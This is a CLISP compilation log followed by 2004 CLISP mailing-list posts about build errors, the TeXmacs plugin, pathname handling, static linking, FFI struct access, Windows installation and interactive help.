checking for errno.h... yes
checking fcntl.h usability... yes
checking fcntl.h presence... yes
checking for fcntl.h... yes
checking netdb.h usability... yes
checking netdb.h presence... yes
checking for netdb.h... yes
checking sys/resource.h usability... yes
checking sys/resource.h presence... yes
checking for sys/resource.h... yes
checking sys/utsname.h usability... yes
checking sys/utsname.h presence... yes
checking for sys/utsname.h... yes
checking pwd.h usability... yes
checking pwd.h presence... yes
checking for pwd.h... yes
checking for sys/stat.h... (cached) yes
checking sys/time.h usability... yes
checking sys/time.h presence... yes
checking for sys/time.h... yes
checking sys/unistd.h usability... yes
checking sys/unistd.h presence... yes
checking for sys/unistd.h... yes
checking time.h usability... yes
checking time.h presence... yes
checking for time.h... yes
checking for unistd.h... (cached) yes
checking shlobj.h usability... no
checking shlobj.h presence... no
checking for shlobj.h... no
checking sys/statvfs.h usability... no
checking sys/statvfs.h presence... no
checking for sys/statvfs.h... no
checking sys/statfs.h usability... no
checking sys/statfs.h presence... no
checking for sys/statfs.h... no
checking sys/vfs.h usability... no
checking sys/vfs.h presence... no
checking for sys/vfs.h... no
checking for sys/types.h... (cached) yes
configure:  * System Calls (Functions)
checking for clock... yes
checking for confstr... yes
checking for fcntl... yes
checking for gethostent... yes
checking for getrusage... yes
checking for getrlimit... yes
checking for sysconf... yes
checking for uname... yes
checking for getlogin... yes
checking for getpwent... yes
checking for getpwnam... yes
checking for getpwuid... yes
checking for getuid... yes
checking for fchmod... yes
checking for fchown... yes
checking for fstat... yes
checking for link... yes
checking for lstat... yes
checking for stat... yes
checking for symlink... yes
checking for utimes... yes
checking for erf... yes
checking for erfc... yes
checking for lgamma... yes
checking for lgamma_r... yes
checking for fstatvfs... no
checking for statvfs... no
checking whether signgam is declared... yes
configure:  * System Calls (output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure:  * System Calls (done)
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a -lncurses   " RANLIB="ranlib" CLISP="$CLISP -q"
/usr/local/src/clisp/clisp-HEAD/src/lisp.run -M /usr/local/src/clisp/clisp-HEAD/src/lispinit.mem -B /usr/local/src/clisp/clisp-HEAD/src -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas calls.c
WARNING: locale: no encoding C, using UTF-8
;; MODPREP: "calls.c" --> #P"calls.m.c"
;; MODPREP: reading "calls.c": 51,959 bytes, 1,505 lines

;; MODPREP: 73 objects, 27 DEFUNs
;; packages: ("POSIX")
MODPREP: wrote #P"calls.m.c" (81,814 bytes)

Real time: 0.900096 sec.
Run time: 0.51 sec.
Space: 972668 Bytes
GC: 1, GC time: 0.04 sec.
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I../ -c calls.m.c -o calls.o
In file included from calls.c:49:
../clisp.h:101:1: warning: "PACKAGE_BUGREPORT" redefined
In file included from calls.c:7:
config.h:156:1: warning: this is the location of the previous definition
In file included from calls.c:49:
../clisp.h:102:1: warning: "PACKAGE_NAME" redefined
In file included from calls.c:7:
config.h:159:1: warning: this is the location of the previous definition
In file included from calls.c:49:
../clisp.h:103:1: warning: "PACKAGE_STRING" redefined
In file included from calls.c:7:
config.h:162:1: warning: this is the location of the previous definition
In file included from calls.c:49:
../clisp.h:104:1: warning: "PACKAGE_TARNAME" redefined
In file included from calls.c:7:
config.h:165:1: warning: this is the location of the previous definition
In file included from calls.c:49:
../clisp.h:105:1: warning: "PACKAGE_VERSION" redefined
In file included from calls.c:7:
config.h:168:1: warning: this is the location of the previous definition
calls.c: In function `C_subr_posix_lgamma':
calls.c:179: warning: implicit declaration of function `lgamma_r'
calls.c: In function `C_subr_posix_confstr':
calls.c:291: error: `BUFSIZ' undeclared (first use in this function)
calls.c:291: error: (Each undeclared identifier is reported only once
calls.c:291: error: for each function it appears in.)
make[1]: *** [calls.o] Error 1
make: *** [syscalls] Error 2


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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-28 20:27:15 +0100]:
> >
> > With it, it goes further and stumble on a similar problem. (Tell me if
> > you need more details).
> 
> I fixed the Garnet build (and demos) in the CVS.
> Please check it out.
> Thanks for reporting the bugs.

When corrected the #include <stdio.h> to syscalls, cvs HEAD compiles
and runs correctly garnet on Darwin.

Thank you!

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A texmacs-1.0.3-11 package (seven minor versions higher than the one
you were talking about?) is available on Mac OS X through Fink. The
Fink description of this package version doesn't mention CLISP
either, but it probably should (it mentions Maxima).

The problem I see with TeXmacs is that it doesn't have support for
Editor MACroS. Not to rain on anyone's parade. I think that TeXmacs
is otherwise a *very* cool program. But with no Elisp support, I've
tended to imagine that this program will be virtually unusable (at
least for me).

I would be interested in seeing neat things that people do in
TeXmacs with CLISP; if there is something really cool, then I'll
definitely reconsider.

Joe

   On Thu, 29 Jan 2004, Sam Steingold wrote:
   
   > > * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2004-01-28 20:24:32 -0500]:
   > >
   > > GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for
   > > CLisp.
   >
   > why isn't CLISP mentioned on
   > <http://www.texmacs.org/tmweb/plugins/plugins.en.html>?
   
   Good question! Probably because the Lisp plugin is new, and the web pages
   haven't been updated yet. Now that I look, I don't have authorship credit
   yet either :)
   
   I'll email the maintainers. Thanks for the pointer.
   
   -- Mike


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* Sam Steingold <sds@gnu.org>
| > * Eduardo Muñoz <rzhsre@green.rf> [2004-01-31 00:14:04 +0100]:
| [...]
| > This is on windows 2000. The file can be opened on Linux
| > (same clisp version).
| 
| you neglected to mention that this is an -ansi invocation.
| OPEN calls TRUENAME which, after resolving symbolic links, invokes
| PARSE-NAMESTRING, which, in ANSI mode, thinks that this is a logical
| pathname (because it contains a semicolon).

Indeed, my clisp.bat file uses -ansi to run clisp. I forgot
about it.

| Are you sure you need pathnames with embedded semicolons?

No, but I like to use clisp as a scripting language and got
an error while getting the size of a file. I can rename the
file.

| > P.S. This one is the second time that I send this post to
| > gmane. Hopefully it wont be a duplicate.
| 
| indeed, it _was_ a duplicate.

It did not show in gmane six hours after posting it, so I
thought that a repost was appropiate.


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> * Eduardo Mu=C3=B1oz <rzhsre@green.rf> [2004-02-01 13:58:52 +0100]:
>
> No, but I like to use clisp as a scripting language and got an error
> while getting the size of a file. I can rename the file.

I fixed this in the CVS.
CLISP builds OOTB with cygwin/mingw, so you should have no problems
rebuilding it.

> | > P.S. This one is the second time that I send this post to
> | > gmane. Hopefully it wont be a duplicate.
> | indeed, it _was_ a duplicate.
>
> It did not show in gmane six hours after posting it, so I
> thought that a repost was appropiate.

Gmane is experiencing growing pains.
if you do not trust it, just set up gnus to send e-mail to
clisp-list@... when you post to gmane.

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Joe Corneli wrote:

> A texmacs-1.0.3-11 package (seven minor versions higher than the one
> you were talking about?) is available on Mac OS X through Fink. The
> Fink description of this package version doesn't mention CLISP
> either, but it probably should (it mentions Maxima).

Errm, actually the Fink package is texmacs-1.0.3, the stable version. 
The "11" is a fink-internal revision number. I haven't yet got around to 
look at the later sources. I don't know anything about clisp, but I'll 
try to see if the clisp plugin in 1.0.3.2 is working. I'll then release 
the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to 
leave some space for versions running under OS X 10.2), and I hope you 
will tell me then if it works for you.

-- 
Martin



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On Sun, 1 Feb 2004, Joe Corneli wrote:

> The problem I see with TeXmacs is that it doesn't have support for
> Editor MACroS. Not to rain on anyone's parade. I think that TeXmacs
> is otherwise a *very* cool program. But with no Elisp support, I've
> tended to imagine that this program will be virtually unusable (at
> least for me).
>
> I would be interested in seeing neat things that people do in
> TeXmacs with CLISP; if there is something really cool, then I'll
> definitely reconsider.

Well, I made the Lisp plugin for TeXmacs to help in drawing tree diagrams
for a paper that I wrote. Rather than drawing the trees manually to
illustrate an algorithm, I wrote the algorithm in Lisp and had it
draw the trees for me. Then I simply cut and pasted the figures from the
CLISP buffer into my paper.

TeXmacs isn't really meant as a programmer's editor, and while it offers
some features analogous to Emacs, it is not (and maybe will never be) a
replacement for Emacs. TeXmacs is meant for creating typeset-quality
technical papers. A secondary goal is to provide a means for external
programs ("plugins") to take advantage of TeXmacs as a rendering engine
for specialized user interfaces (such as done with Maxima to give it
"real" mathematical output rather than the stock ASCII stuff). The
same has been done with GNU Octave, QCL and other programs.

The Lisp plugin is valuable to anyone wishing to generate typeset content
with Lisp. TeXmacs code is expressed as Lisp/Scheme s-expressions,
allowing high-quality dynamic documentation to be created in Lisp.

You seem to be implying that TeXmacs is not suitable for Lisp code
development (yet, anyhow) and I'd have to agree. The interface is provided
for run-time use.



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Martin Costabel wrote:
[]
> look at the later sources. I don't know anything about clisp, but I'll 
> try to see if the clisp plugin in 1.0.3.2 is working. I'll then release 
> the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to 
> leave some space for versions running under OS X 10.2), and I hope you 
> will tell me then if it works for you.

On Mac OSX, no luck so far: The clisp plugin displays a nice banner and 
tells that it read the init scripts, but it doesn't show a prompt. I'll 
try to understand why, but to me it looks as if every plugin speaks a 
completely different language, and I haven't understood how they produce 
their command line prompts.

-- 
Martin



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On Sun, 1 Feb 2004, Martin Costabel wrote:
> Martin Costabel wrote:
> []
> > look at the later sources. I don't know anything about clisp, but I'll
> > try to see if the clisp plugin in 1.0.3.2 is working. I'll then release
> > the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to
> > leave some space for versions running under OS X 10.2), and I hope you
> > will tell me then if it works for you.
>
> On Mac OSX, no luck so far: The clisp plugin displays a nice banner and
> tells that it read the init scripts, but it doesn't show a prompt. I'll
> try to understand why, but to me it looks as if every plugin speaks a
> completely different language, and I haven't understood how they produce
> their command line prompts.

You may wish to run TeXmacs using

	texmacs --debug-io

so that you see what is being communicated.
It may also be useful to take a look at

	Help -> Interfacing -> ...



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This is clisp 2.31 on linux
I do (rename-file x y)
where y is something like (logical-pathname "PERSIST:FOO.BAR")
and get files with names like "PERSIST:FOO.BAR"
rather than what I want, which is something like
"persistent-data/foo.bar". 

Shouldn't rename translate the name?
The spec does say that rename returns a logical pathname in this case
and that the new name of the file is supposed to be that value, but
of course the new file name can't actually be a logical pathname at
all.


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On Sun, 1 Feb 2004, Martin Costabel wrote:

> On Mac OSX, no luck so far: The clisp plugin displays a nice banner and
> tells that it read the init scripts, but it doesn't show a prompt. I'll
> try to understand why, but to me it looks as if every plugin speaks a
> completely different language, and I haven't understood how they produce
> their command line prompts.

Please try upgrading to a newer version of CLISP. The command prompt does
not appear because the plugin uses a method of defining the prompt that
is only available in CLISP 2.32.



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Michael Graffam wrote:

> 
> On Sun, 1 Feb 2004, Martin Costabel wrote:
> 
> 
>>On Mac OSX, no luck so far: The clisp plugin displays a nice banner and
>>tells that it read the init scripts, but it doesn't show a prompt. I'll
>>try to understand why, but to me it looks as if every plugin speaks a
>>completely different language, and I haven't understood how they produce
>>their command line prompts.
> 
> 
> Please try upgrading to a newer version of CLISP. The command prompt does
> not appear because the plugin uses a method of defining the prompt that
> is only available in CLISP 2.32.

OK, this rules it out for the moment. The Fink clisp-2.32 package is 
under discussion, but has not yet been released. It is not yet clear 
whether it will break maxima or not.

Anyway, I put the texmacs-2.3.2-11 package into Fink. When clisp-2.32 
appears, the plugin should automatically work, I hope.

-- 
Martin



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> Anyway, I put the texmacs-2.3.2-11 package into Fink. 

Make this 1.0.3.2-11. Too many digits :)

-- 
Martin



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* Sam Steingold <sds@gnu.org>
| > * Eduardo Muñoz <rzhsre@green.rf> [2004-02-01 13:58:52 +0100]:
| >
| > No, but I like to use clisp as a scripting language and got an error
| > while getting the size of a file. I can rename the file.
| 
| I fixed this in the CVS.
| CLISP builds OOTB with cygwin/mingw, so you should have no problems
| rebuilding it.

Downloaded the source from CVS and built it with msvc. I
dont know what OOTB means anyway :)

The instructions to build on windows are really clear,
thanks for that. After building and testing the reported
problem is gone, so thanks again :)


BTW, the building process halts with:

NMAKE : fatal error U1073: don't know how to make '_clisp.1'
Stop.

fortunately after building lisp.exe and lispinit.mem

One more question. How can I make clisp-2.32-win32.zip?
nmake distrib does not seems like the way to go.


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> * Eduardo Mu=C3=B1oz <rzhsre@green.rf> [2004-02-02 00:25:41 +0100]:
>
> dont know what OOTB means anyway :)

Out Of The Box.

> One more question. How can I make clisp-2.32-win32.zip?
> nmake distrib does not seems like the way to go.

I use "make distrib" with mingw.

with mingw, you can use modules (regexp, pcre, syscalls &c)
and CLISP runs _faster_ than when compiled with MSVC.

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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-02-01 13:13:34 -0800]:
>
> This is clisp 2.31 on linux
> I do (rename-file x y)
> where y is something like (logical-pathname "PERSIST:FOO.BAR")
> and get files with names like "PERSIST:FOO.BAR"
> rather than what I want, which is something like
> "persistent-data/foo.bar". 
>
> Shouldn't rename translate the name?  The spec does say that rename
> returns a logical pathname in this case and that the new name of the
> file is supposed to be that value, but of course the new file name
> can't actually be a logical pathname at all.

I do not observe this with the current CVS on w2k.

is <don-sourceforgexx@isis.cs3-inc.com> a real address?
if not, please make it more obvious.

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Sam Steingold writes:
 > > * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-02-01 13:13:34 -0800]:
 > >
 > > This is clisp 2.31 on linux
 > > I do (rename-file x y)
 > > where y is something like (logical-pathname "PERSIST:FOO.BAR")
 > > and get files with names like "PERSIST:FOO.BAR"
 > > rather than what I want, which is something like
 > > "persistent-data/foo.bar". 
 > >
 > > Shouldn't rename translate the name?  The spec does say that rename
 > > returns a logical pathname in this case and that the new name of the
 > > file is supposed to be that value, but of course the new file name
 > > can't actually be a logical pathname at all.
 > 
 > I do not observe this with the current CVS on w2k.

How about linux?
Has the code been fixed recently?

 > is <don-sourceforgexx@isis.cs3-inc.com> a real address?
Sure.  Why do you doubt it?

 > if not, please make it more obvious.
What does that mean?



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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-02-01 17:38:19 -0800]:
>  > I do not observe this with the current CVS on w2k.
>
> How about linux?

I do not have a working clisp on linux (my fedora coredump1 does not let
me build either clisp or emacs.)

I hope other linux users will help us here.

> Has the code been fixed recently?

my version is separated from yours by 1.5 years.
lots of things changed.

>  > is <don-sourceforgexx@isis.cs3-inc.com> a real address?
> Sure.  Why do you doubt it?
"xx" that do not make sense.

>  > if not, please make it more obvious.
> What does that mean?
I thought that was one of those detestable "sdNO_SPAMs@gnu.org" addresses.

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Sam Steingold writes:

 > > Has the code been fixed recently?
 > my version is separated from yours by 1.5 years.
 > lots of things changed.
More like .5
This is actually later than .31 - built from CVS as of ~Sept
including my write-byte-seq :no-hang modifications

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 > > Sure.  Why do you doubt it?
 > "xx" that do not make sense.
 > 
 > >  > if not, please make it more obvious.
 > > What does that mean?
 > I thought that was one of those detestable "sdNO_SPAMs@gnu.org" addresses.

Well, yes it is a nospam address - now that this one is going to be
out on the mailing lists I'll probably start getting spam sent to it
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hi -- I would like to make a statically linked clisp executable on my 
osx box (and maybe on my linux box too) -- can someone tell me if/how I 
can do this? Thanks for any info


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Hi,

I have no idea if this is going to reach someone who cares...

I downloaded the latest release of CLISP 2.32 from sourceforge as a win32
binary. However being a windowsXP user the install.bat file was non
functional from use of unix path notation / instead of \ and also the use
of the pipe | symbol as ASCII art which is now used in the DOS interpreter
in winXP.

Revised batch file as follows:

@echo off

echo +==========================================================+
echo : this will install CLISP on your system,                  :
echo : associating file types FAS, MEM and LISP with CLISP.     :
echo : it will also create a shortcut to CLISP on your desktop. :
echo :               press C-c to abort                         :
echo +==========================================================+
pause

if exist src\install.lisp goto installsrc
if exist install.lisp goto install
goto notfound
:installsrc
full\lisp.exe -B . -M full\lispinit.mem -norc -C src\install.lisp
goto exit
:install
full\lisp.exe -B . -M full\lispinit.mem -norc -C install.lisp
goto exit
:notfound
echo Sorry, install.lisp not found, cannot install
:exit
pause


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> *  <zrb3@nore.np.hx> [2004-02-02 18:25:09 +0000]:
>
> I downloaded the latest release of CLISP 2.32 from sourceforge as a
> win32 binary. However being a windowsXP user the install.bat file was
> non functional from use of unix path notation / instead of \ and also
> the use of the pipe | symbol as ASCII art which is now used in the DOS
> interpreter in winXP.

thanks.
this has already been fixed in the CVS.


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Not sure what you really want:

a) An executable that contains lisp.run and its memory image?

You can't do this with clisp. Instead use a binary package (tar.gz, rpm or
whatever) that installs the needed files in the appropriate locations.

b) A lisp.run which depends only on libc but not on other libraries?

You can get this one through the normal build mechanism, if you remove the
.la and .so (.dylib on MacOS X) parts of each library that clisp uses, before
the build, leaving only the .a form of each library.

c) A lisp.run which depends on no shared library at all?

Normally you don't want this, because such binaries often don't run with
newer kernel versions. (It's the libc which makes the interface between
kernel and clisp.) But if you want to do it, setting the LDFLAGS environment
variable to "-static" before building clisp should do it.

Bruno




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Raymond Toy wrote:
> FWIW, cmucl prints it like this.
>
> ACL 6.2 also prints it like this, except ...

Thanks for the info. I've now changed clisp to print 2D array the same
way, namely with :FILL style in the innermost dimension and :LINEAR
for the outer dimensions:

> (make-array '(20 2) :initial-element 3)
#2A((3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3)
    (3 3))

> (make-array '(5 20) :element-type 'character :initial-element #\x)
#2A("xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx"
    "xxxxxxxxxxxxxxxxxxxx")

> (make-array '(5 20) :element-type 'bit)
#2A(#*00000000000000000000
    #*00000000000000000000
    #*00000000000000000000
    #*00000000000000000000
    #*00000000000000000000)

Bruno



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hi,

I am trying to change variables in a C dynamic link library. Simplified 
it looks like this :

------------------------------C code-----------------------------------
struct bar {
    double x, y;
    double out;
};

struct bar my_struct = {10.0, 20.5, 0.0};

double test_dll2(struct bar *ptr)
{
   return ptr->out = ptr->out + ptr->x + ptr->y;
}
 --> compiles to libtest2.so.0 (or libtest2.dll, doesn't matter)
----------------------------- Lisp code----------------------------------
 (use-package "FFI")

(def-c-struct bar
  (x double-float)
  (y double-float)
  (out double-float))
 
(def-call-out get-own-c-float-1
   (:library "libtest2.so.0")
   (:language :stdc)
   (:name "test_dll2")
   (:arguments (ptr (c-ptr bar)))
   (:return-type double-float))

(def-c-var p_my_struct (:LIBRARY "libtest2.so.0") (:type (c-ptr bar)))

-----------------------------------------
If one evaluates (get-own-c-float-1 p_my_struct) multiple times from 
lisp then the result stays
30.5d0 and  does not increase as I expected.  Is this because of 'fresh' 
variables or what am I
missing ?

Thank you
Nico Swart.






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> I am trying to change variables in a C dynamic link library. Simplified 
> it looks like this :

Even more simplified:

----- C ------
struct xyptr {
    double x, y;
    double out;
};
extern EXTRN LISPDLL_API struct xyptr my_xystruct;
extern EXTRN LISPDLL_API struct xyptr * pmy_xystruct;
----- C ------

----- Lisp -----
(ffi:def-c-struct xyptr
  (x double-float)
  (y double-float)
  (out double-float))
(def-c-var my_xystruct (:LIBRARY "lispdll.dll") (:type xyptr))
----- Lisp -----


[2]> my_xystruct
#S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0)
[3]> (setf (xyptr-x pmy_xystruct) 13)
13
[4]> my_xystruct
#S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0)
[5]> (setf (xyptr-x pmy_xystruct) 13.0d0)
13.0d0
[6]> my_xystruct
#S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0)
[7]> (xyptr-x pmy_xystruct)
10.0d0
[8]> (type-of my_xystruct)
XYPTR
[9]> ;(and not foreign-variable)

-- 
Best regards,
 Arseny    




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[4]>> my_xystruct
> #S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0)
[5]>> (setf (xyptr-x pmy_xystruct) 13.0d0)
oops

same result with my_xystruct instead of
pmy_xystruct.

-- 
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Arseny Slobodjuck wrote:

>[4]>> my_xystruct
>  
>
>>#S(XYPTR :X 10.0d0 :Y 20.5d0 :OUT 0.0d0)
>>    
>>
>[5]>> (setf (xyptr-x pmy_xystruct) 13.0d0)
>oops
>
>same result with my_xystruct instead of
>pmy_xystruct.
>
>  
>
Thanks for the comments. What finally produced what I required was this 
though :

_____________________C code____________________________________
struct bar {
    double x, y;
    double out;
};

struct bar my_struct = {10.0, 20.5, 0.0};

double test_dll2(struct bar *ptr)
{
   return ptr->out = ptr->out + ptr->x + ptr->y;
}
______________________Lisp______________________________________
(use-package "FFI")

(def-c-struct bar
  (x double-float)
  (y double-float)
  (out double-float))
 
(def-call-out get-own-c-float-1
   (:library "libtest2.so.0")
   (:language :stdc)
   (:name "test_dll2")
   (:arguments (ptr c-pointer :in :alloca))
   (:return-type double-float))

(def-c-var c-var-1 (:name "my_struct") (:LIBRARY "libtest2.so.0") (:type 
(c-ptr bar)))

[14]> (c-var-address c-var-1)
#<FOREIGN-ADDRESS #x282935D8>
[15]> (get-own-c-float-1 (c-var-address c-var-1))
30.5d0
[16]> (get-own-c-float-1 (c-var-address c-var-1))
61.0d0
[17]> (get-own-c-float-1 (c-var-address c-var-1))
91.5d0
[18]> (get-own-c-float-1 (c-var-address c-var-1))
122.0d0
[19]>

I wanted to change the actual C location from Lisp and also pass it as a 
pointer value to the C functions (the
c-pointer declaration did the trick).

Thanks again

Nico Swart



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Hello, 

I'd like to renew my offer to help write clisp documentation -- and
ask for some pointers about how to help.

Joe


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-08 21:23:26 -0600]:
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> I'd like to renew my offer to help write clisp documentation -- and
> ask for some pointers about how to help.

all CLISP documentation is contained in the "implementation notes" and
"man pages" in doc/clisp.xml.in and doc/imp*.xml*.
did you look at those texts?
what is inadequate?
what are your suggestions?

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  did you look at those texts?

No, didn't know they were there. (Will look for this stuff, though I
installed clisp using Fink and I'm not sure where it will habe ...)

  what is inadequate?

See above... also, more online help (such as that featured in
maxima) would be swell.

  what are your suggestions?

One might start by making the following command more informative,
and proceed from there:

> :h

Help (abbreviated :h) = this list
Use the usual editing capabilities.
(quit) or (exit) leaves CLISP.

As a rather trivial suggestion, I think it would be nice if the help
system could be opened using (help) as well as help.

At any rate, I think it would be nice to mention

(describe (quote FUNCTION))

among the top-level help.  Continuing with this theme, it might be
nice if e.g.

(describe (quote car))

told you _something_ about how to _use_ the function car.  Even
something as oblique as

   (car LIST)
   
   Return the car of LIST.  If arg is nil, return nil.
   Error if arg is not nil and not a cons cell.
                               -- Emacs C-h f car RET

would be useful.  Indeed, a lot of useful online documentation could
be copied from the emacs cl packages.


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Date: Sun Feb  8 22:47:01 2004
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Joe Corneli writes:
>   did you look at those texts?
> 
> No, didn't know they were there. (Will look for this stuff, though I
> installed clisp using Fink and I'm not sure where it will habe ...)
> 
>   what is inadequate?
> 
> See above... also, more online help (such as that featured in
> maxima) would be swell.

Indeed. 

        (documentation (select-a-symbol-from-common-lisp) t)

always return  NIL. It would be  nice if it  returned something useful
(like an extract of CLHS).



Note that for user defined symbols:

[18]> (defvar f "toto" "a nice variable")
F
[19]> (documentation 'f t)
NIL
[20]> (documentation 'f 'function)
"doc of f"
[21]> (documentation 'f 'variable)
"a nice variable"
[22]> 

I  think that the  definition of  (documentation t  (eql t))  does not
prevent   an  implementation   to  return   a  concatenation   of  the
documentation  of all  facets  of that  symbol.  I'd expect  something
similar to:

(documentation 'f t) --> 
"f is a function:
doc of f

f is a variable:
a nice variable
"

>   what are your suggestions?
> 
> One might start by making the following command more informative,
> and proceed from there:
> 
> > :h
> 
> Help (abbreviated :h) = this list
> Use the usual editing capabilities.
> (quit) or (exit) leaves CLISP.
> 
> As a rather trivial suggestion, I think it would be nice if the help
> system could be opened using (help) as well as help.

(ext:help)

 
> At any rate, I think it would be nice to mention
> 
> (describe (quote FUNCTION))
> 
> among the top-level help.  Continuing with this theme, it might be
> nice if e.g.
> 
> (describe (quote car))
> 
> told you _something_ about how to _use_ the function car.  Even
> something as oblique as
> 
>    (car LIST)
>    
>    Return the car of LIST.  If arg is nil, return nil.
>    Error if arg is not nil and not a cons cell.
>                                -- Emacs C-h f car RET
> 
> would be useful.  Indeed, a lot of useful online documentation could
> be copied from the emacs cl packages.

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> (ext:help)

*** - READ from #<INPUT CONCATENATED-STREAM #<INPUT
STRING-INPUT-STREAM> #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE
EXT> has no external symbol with name "HELP"


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Joe Corneli writes:
> 
> > (ext:help)
> 
> *** - READ from #<INPUT CONCATENATED-STREAM #<INPUT
> STRING-INPUT-STREAM> #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE
> EXT> has no external symbol with name "HELP"

[22]> (help)
** - Continuable Error
EVAL: undefined function HELP
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION 'HELP).
USE-VALUE      :R2      You may input a value to be used instead of (FDEFINITION 'HELP).

Break 1 [23]> 

My point is that (help)  could be taken as (common-lisp:help) and this
cannot be. If you want to implement a help function, that should be in
an implementation dependent package such as ext.





[Note  that   my  ~/.common.lisp  which   is  loaded  by   my  various
~/.clisprc.lisp, ~/.cmuclrc, ~/.sbclrc, etc does first thing:

;; clean the imported packages:
(MAPC (LAMBDA (USED) (UNUSE-PACKAGE USED "COMMON-LISP-USER"))
      (REMOVE (FIND-PACKAGE "COMMON-LISP") 
              (COPY-SEQ (PACKAGE-USE-LIST "COMMON-LISP-USER"))))

]


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Hey all,
    Just a ping to find out if there are folks out there "doing much" 
with the sockets library in CLISP or if FFI is the preferred method. I 
found some messages in the archive from about 3 years ago re: UDP and 
using FFI... If there have been more recent messages, a pointer/tip to 
a subject line or date range would be appreciated. Thanks,
		<D\'gou



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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-08 23:24:09 -0600]:
>
>   did you look at those texts?
>
> No, didn't know they were there. (Will look for this stuff, though I
> installed clisp using Fink and I'm not sure where it will habe ...)

http://clisp.cons.org/impnotes/
http://clisp.cons.org/clisp.html

>   what are your suggestions?
>
> One might start by making the following command more informative,
> and proceed from there:
>
>> :h
>
> Help (abbreviated :h) = this list
> Use the usual editing capabilities.
> (quit) or (exit) leaves CLISP.

I did not realize that when you said "on-line help" you meant "help from
the running CLISP process", not "documentation on the web".  Sorry.

Indeed, it would be nice to have a better help available.

> At any rate, I think it would be nice to mention
> (describe (quote FUNCTION))
> among the top-level help.

yes.

> Continuing with this theme, it might be nice if e.g.
>
> (describe (quote car))
>
> told you _something_ about how to _use_ the function car.  Even
> something as oblique as
>
>    (car LIST)
>    
>    Return the car of LIST.  If arg is nil, return nil.
>    Error if arg is not nil and not a cons cell.
>                                -- Emacs C-h f car RET
>
> would be useful.  Indeed, a lot of useful online documentation could
> be copied from the emacs cl packages.

the official documentation for CAR is
<http://www.lisp.org/HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html>.
I think (describe 'car) should print the above URL.

The non-ANSI features should be documented in the impnotes and DESCRIBE
should print the reference to the appropriate place in the impnotes.

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> * Douglas Philips <qtbh@znp.pbz> [2004-02-09 08:51:29 -0500]:
>
> Just a ping to find out if there are folks out there "doing much" with
> the sockets library in CLISP

CLOCC/CLLIB/gq.lisp gets stock quotes over the web.
CLOCC/CLLIB/rpm.lisp gets RPM updates (poor man's apt-get/up2date)

> or if FFI is the preferred method. 
I have never used FFI for networking.

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 > * Douglas Philips <qtbh@znp.pbz> [2004-02-09 08:51:29 -0500]:
 > Just a ping to find out if there are folks out there "doing much" with
 > the sockets library in CLISP

I haven't used the sockets directly even though my code does some
networked stuff (Oracle access, LDAP access and CGI access).  Though
each of these layers does sockets traffic, the socket access is done
not in lisp but directly by the corresponding library that interfaces
to Lisp.

Now, I *AM* thinking of writing a simple SMTP client for my programs
to send Email notifications to me for certain events.  For that I
would use the socket interface directly from Lisp to speak the SMTP
protocol.

    >> or if FFI is the preferred method. 

 > [Sam Steingold]
 > I have never used FFI for networking.

Indeed, nor would I expect would you have to; in fact if one found
oneself using the FFI so that he could make TCP/IP related calls from
"C" for functionality he needed from Lisp, that is probably an
indication that the socket lib is lacking and thus occasion to
incorporate instead those functions in the socket lib instead.

Hope that made sense.

PS: There seems to be a simple SMTP client at Franz's site but it
appears Franz/allegro specific (just as my CLISP-sockets SMTP lib
would probably be clisp specific).



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If I save a clisp image and then boot it thusly:
	clisp -M /path/to/my.img

is it possible to discover at runtime what the value for -M  was? I had 
hoped that ext:*args* would give me this, but its always nil when my 
init-function is called as you can see in this trace  printout:

[pinhead hkt] ~> /usr/local/bin/clisp -I -q -ansi -M 
/Lisp/cm/bin/../bin/clisp_2.31_darwin-powerpc/cm.img

(*ARGS* -> NIL)

  /\\\
---\\\---------
----\\\--------
----/\\\------- Common Music 2.4.2
